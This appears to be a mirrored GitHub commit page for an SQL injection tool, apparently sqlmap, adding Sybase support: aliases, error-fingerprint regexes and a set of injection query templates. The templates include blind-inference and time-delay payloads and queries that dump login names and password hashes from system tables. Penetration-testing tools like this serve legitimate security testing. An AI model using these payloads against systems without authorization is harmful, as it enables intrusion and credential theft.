Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit f9f79ff

Browse files
committed
basic stuff for sybase
1 parent 9840d25 commit f9f79ff

5 files changed

Lines changed: 77 additions & 3 deletions

File tree

lib/controller/handler.py

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@
3333
from lib.core.settings import ACCESS_ALIASES
3434
from lib.core.settings import FIREBIRD_ALIASES
3535
from lib.core.settings import MAXDB_ALIASES
36+
from lib.core.settings import SYBASE_ALIASES
3637

3738
from plugins.dbms.mssqlserver import MSSQLServerMap
3839
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
@@ -50,6 +51,8 @@
5051
from plugins.dbms.firebird.connector import Connector as FirebirdConn
5152
from plugins.dbms.maxdb import MaxDBMap
5253
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
54+
from plugins.dbms.sybase import SybaseMap
55+
from plugins.dbms.sybase.connector import Connector as SybaseConn
5356

5457
def setHandler():
5558
"""
@@ -58,7 +61,7 @@ def setHandler():
5861
"""
5962

6063
count = 0
61-
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB" )
64+
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server", "SQLite", "Microsoft Access", "Firebird", "SAP MaxDB", "Sybase" )
6265
dbmsMap = (
6366
( MYSQL_ALIASES, MySQLMap, MySQLConn ),
6467
( ORACLE_ALIASES, OracleMap, OracleConn ),
@@ -68,6 +71,7 @@ def setHandler():
6871
( ACCESS_ALIASES, AccessMap, AccessConn ),
6972
( FIREBIRD_ALIASES, FirebirdMap, FirebirdConn ),
7073
( MAXDB_ALIASES, MaxDBMap, MaxDBConn ),
74+
( SYBASE_ALIASES, SybaseMap, SybaseConn ),
7175
)
7276

7377
for dbmsAliases, dbmsMap, dbmsConn in dbmsMap:

lib/core/settings.py

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -71,6 +71,7 @@
7171
"RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\
7272
"RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS" )
7373
MAXDB_SYSTEM_DBS = ( "SYSINFO", "DOMAIN" )
74+
SYBASE_SYSTEM_DBS = ( "master", "model", "sybsystemdb", "sybsystemprocs" )
7475

7576
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
7677
MYSQL_ALIASES = [ "mysql", "my" ]
@@ -80,8 +81,9 @@
8081
ACCESS_ALIASES = [ "access", "jet", "microsoft access", "msaccess" ]
8182
FIREBIRD_ALIASES = [ "firebird", "mozilla firebird", "interbase", "ibase", "fb" ]
8283
MAXDB_ALIASES = [ "maxdb", "sap maxdb", "sap db" ]
84+
SYBASE_ALIASES = [ "sybase", "sybase sql server" ]
8385

84-
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES
86+
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES
8587
SUPPORTED_OS = ( "linux", "windows" )
8688

8789
SQL_STATEMENTS = {

plugins/dbms/mssqlserver/fingerprint.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -103,7 +103,8 @@ def checkDbms(self):
103103
if conf.direct:
104104
result = True
105105
else:
106-
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
106+
randInt = randomInt()
107+
payload = agent.fullPayload(" AND BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d))" % (randInt, randInt))
107108
result = Request.queryPage(payload)
108109

109110
if result:

xml/errors.xml

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,4 +78,10 @@
7878
<error regexp="Warning.*maxdb.*"/>
7979
</dbms>
8080

81+
<!-- Sybase -->
82+
<dbms value="Sybase">
83+
<error regexp="Warning.*sybase.*"/>
84+
<error regexp="Sybase.*Server message.*"/>
85+
</dbms>
86+
8187
</root>

xml/queries.xml

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -428,4 +428,65 @@
428428
<substring query="SUBSTR((%s), %d, %d)"/>
429429
</dbms>
430430

431+
<!-- Sybase -->
432+
<dbms value="Sybase">
433+
<cast query="CAST(%s AS VARCHAR(8000))"/>
434+
<length query="LTRIM(STR(LEN(%s)))"/>
435+
<isnull query="ISNULL(%s, ' ')"/>
436+
<delimiter query="+"/>
437+
<limit query="SELECT TOP %d "/>
438+
<limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
439+
<limitgroupstart query="2"/>
440+
<limitgroupstop query="1"/>
441+
<limitstring/>
442+
<order query="ORDER BY %s ASC"/>
443+
<count query="COUNT(%s)"/>
444+
<comment query="--" query2="/*"/>
445+
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
446+
<substring query="SUBSTRING((%s), %d, %d)"/>
447+
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
448+
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
449+
<banner query="SELECT @@VERSION"/>
450+
<current_user query="SELECT SUSER_NAME()"/>
451+
<current_db query="SELECT DB_NAME()"/>
452+
<is_dba query="PATINDEX('%sa_role%', SHOW_ROLE())>0"/>
453+
<users>
454+
<inband query="SELECT name FROM master..syslogins ORDER BY 1" query2="SELECT name FROM sys.sql_logins ORDER BY 1"/>
455+
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
456+
</users>
457+
<passwords>
458+
<inband query="SELECT name, password FROM master..syslogins" query2="SELECT name, password_hash FROM sys.sql_logins" condition="name"/>
459+
<blind query="SELECT TOP 1 password FROM master..syslogins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM master..syslogins WHERE name='%s')" query2="SELECT TOP 1 password_hash FROM sys.sql_logins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM sys.sql_logins WHERE name='%s')" count="SELECT LTRIM(STR(COUNT(password))) FROM master..syslogins WHERE name='%s'" count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/>
460+
</passwords>
461+
<privileges/>
462+
<roles/>
463+
<dbs>
464+
<inband query="SELECT name FROM master..sysdatabases ORDER BY 1"/>
465+
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
466+
</dbs>
467+
<tables>
468+
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U') ORDER BY 1"/>
469+
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE type IN ('U') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE type IN ('U'))" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE type IN ('U')"/>
470+
</tables>
471+
<columns>
472+
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>
473+
<blind query="SELECT %s..syscolumns.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
474+
</columns>
475+
<dump_table>
476+
<inband query="SELECT %s FROM %s..%s"/>
477+
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>
478+
</dump_table>
479+
<search_db>
480+
<inband query="SELECT name FROM master..sysdatabases WHERE " condition="name"/>
481+
<blind query="SELECT name FROM master..sysdatabases WHERE " count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases WHERE " condition="name"/>
482+
</search_db>
483+
<search_table>
484+
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U') AND " condition="name" condition2="name"/>
485+
<blind query="" query2="SELECT name FROM %s..sysobjects WHERE type IN ('U') " count="" count2="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE type IN ('U')" condition="name" condition2="name"/>
486+
</search_table>
487+
<search_column>
488+
<inband query="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" condition="[DB]..syscolumns.name"/>
489+
<blind query="" query2="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" count="" count2="SELECT COUNT(%s..sysobjects.name) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" condition="[DB]..syscolumns.name"/>
490+
</search_column>
491+
</dbms>
431492
</root>

0 commit comments

Comments
 (0)